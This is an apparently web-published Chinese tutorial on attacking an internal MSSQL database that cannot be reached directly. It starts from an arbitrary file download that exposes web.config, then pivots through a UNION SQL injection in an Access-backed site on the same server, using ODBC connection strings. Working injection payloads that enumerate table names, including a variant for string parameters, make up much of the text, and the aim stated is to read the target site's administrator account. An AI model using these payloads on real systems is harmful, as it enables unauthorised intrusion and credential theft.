首先說明一點(diǎn)，這個(gè)方法很早就有了，不過用時(shí)大概在腦袋里沉寂太久，已經(jīng)處于忘卻狀態(tài)。感謝Trace提供資料。經(jīng)常會遇到任意文件下載漏洞,一般處理的方法是把數(shù)據(jù)庫連接文件下載回來,然后遠(yuǎn)程連接上。

首先說明一點(diǎn)，這個(gè)方法很早就有了，不過用時(shí)大概在腦袋里沉寂太久，已經(jīng)處于忘卻狀態(tài)。感謝Trace提供資料。

經(jīng)常會遇到任意文件下載漏洞，一般處理的方法是把數(shù)據(jù)庫連接文件下載回來,然后遠(yuǎn)程連接上去。最理想的狀態(tài)莫過于MSSQL和MYSQL，尤其是在數(shù)據(jù)庫和WEB不分離的情況下，備分SHELL，導(dǎo)出SHELL，可以用的方法很多。

不過要是數(shù)據(jù)庫和WEB分離，而且數(shù)據(jù)庫在內(nèi)網(wǎng)不可上網(wǎng)，或者有防火墻等等 其他手段使得我們無法連上遠(yuǎn)程數(shù)據(jù)庫時(shí)，不妨假設(shè)的再艱難一些，甚至無法找到一個(gè)mssql注射點(diǎn)時(shí)，很多情況下通常會束手無策。

這里以 MSSQL為例子，很湊巧找到一個(gè)任意文件下載漏洞，直接下了WEB.CONFIG回來看，發(fā)現(xiàn)數(shù)據(jù)庫在內(nèi)網(wǎng)，找了半天沒找到注射點(diǎn)，稍微旁注一下，有一個(gè)站，可惜是ACCESS數(shù)據(jù)庫。猜不到表和后臺。不過目標(biāo)站的后臺是知道的，然后準(zhǔn)備從這個(gè)access注射點(diǎn)讀出目標(biāo)站管理員帳戶。直觀一些，下面直 接給出我本地測試結(jié)果：

弄的簡單一點(diǎn)，就3個(gè)字段，ID，XM，XB，ID數(shù)字型，后面2個(gè)字符型。
假設(shè)存在漏洞的文件中，執(zhí)行SQL語句 select * from test whrere id = 1
這里有3個(gè)字段，我們用UNION聯(lián)合查詢給他匹配一下就是（黑盒操作時(shí)用order by 或者窮舉來確定字段個(gè)數(shù)）
SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku

這里的master庫中我建立了一個(gè)名為KU的表，上面這個(gè)查詢語句中，由于id=999999不存在，在聯(lián)合查詢的作用下，web上原本顯示access數(shù)據(jù)庫內(nèi)容的位置顯示出了我們構(gòu)造的UNION查詢結(jié)果，name字段處于一個(gè)字符型的顯示位置。

ku這個(gè)表里的name字段內(nèi)容就會被顯示在web上相應(yīng)的位置，不過這個(gè)顯然不是我們想要的，我們要的是整個(gè)表的結(jié)構(gòu)和內(nèi)容
以master為例子，這里是模擬的結(jié)果，事先我已經(jīng)知道m(xù)aster的結(jié)構(gòu),待會方便和結(jié)果比對校驗(yàn)是否有錯(cuò)。

SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables

這樣master庫的***個(gè)表名就出來了。

獲得后面的表名也很簡單。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables)

以次類以常規(guī)方法推取得字段名和字段內(nèi)容,代碼煩瑣自行研究下。

如果數(shù)據(jù)庫里的ID是字符型，則
SELECT * FROM test where id='999999' union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tables where '1'='1'

【編輯推薦】

1. Adobe Reader練劍半月 0day夢魘終于完結(jié) 
2. 白帽黑客友情提示：CCTV華軍軟件均含跨站漏洞
3. 安全專家詳談：對付惡意軟件的策略及方法
4. MSN中國官網(wǎng)昨日被掛馬 2009或成駭客盛年
5. 安全公司稱俄羅斯已成為垃圾郵件超級大國
6. 諾頓再次誤升級 廠商可無視用戶許可?